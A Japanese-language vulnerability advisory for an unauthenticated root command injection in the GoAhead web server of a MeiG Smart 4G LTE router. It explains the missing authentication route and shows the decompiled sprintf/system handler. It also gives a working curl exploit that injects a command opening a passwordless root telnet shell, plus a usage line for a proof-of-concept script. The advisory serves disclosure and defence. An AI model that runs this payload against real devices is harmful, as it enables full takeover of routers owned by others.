
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - 未認証のOSコマンドインジェクション(root権限でのRCE)
/action/SetRemoteAccessCfg)MeiG Smart FORGE_SLT711 4G LTE CPE デバイスに同梱されている GoAhead Webサーバーは、認証なしでアクセス可能なHTTPエンドポイント /action/SetRemoteAccessCfg を公開しており、ユーザーが制御するJSON入力をサニタイズせずにシェルコマンドへ展開します。単一の認証なしPOSTリクエストで、root として任意のコマンドが実行されます。
根本原因は2つあります。1つは認証ルートのエントリ欠落、もう1つはハンドラー内の安全でない sprintf() → system() の構成です。
MDM9607.LE.1.0-00110-STD.PROD-1(モデムファームウェア BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)脆弱性はMeiGのカスタムアクションハンドラーにあり、上流のGoAheadには存在しません。この製品ラインの他のファームウェアバージョンも影響を受ける可能性がありますが、独立して検証はされていません。
| デバイス | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| カーネル | Linux 3.18.48 |
| ファームウェア | MDM9607.LE.1.0-00110-STD.PROD-1 |
| 日付 | 2026-02-21 |
GoAheadのルート設定 /var/www/route.txt は、auth=basic を使用して認証対象ルート(64〜150行目)を定義しています。/action/SetRemoteAccessCfg はこのリストに含まれていません。ルーティングは156行目のキャッチオールにフォールスルーします。
route uri=/action handler=action
このキャッチオールには auth=basic がないため、任意のHTTPクライアントが資格情報なしで /action/SetRemoteAccessCfg を呼び出すことができます。
/usr/bin/goahead 内のオフセット 0x0003c6d8 にあるハンドラーは、以下のように逆コンパイルされます。
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
password フィールドは二重引用符内に展開されます。$(...) による置換や `...` バッククォートは二重引用符内で展開されるため、攻撃者はシェルコマンドを制御できます。GoAheadプロセスはrootとして実行されるため、system() は uid=0 で実行されます。入力検証、エスケープ処理、文字ホワイトリストは一切ありません。
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py(本アドバイザリとともに公開)
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
この攻撃はブラインドです。コマンドの出力はHTTPレスポンスには含まれません。
password バッファ: 64バイト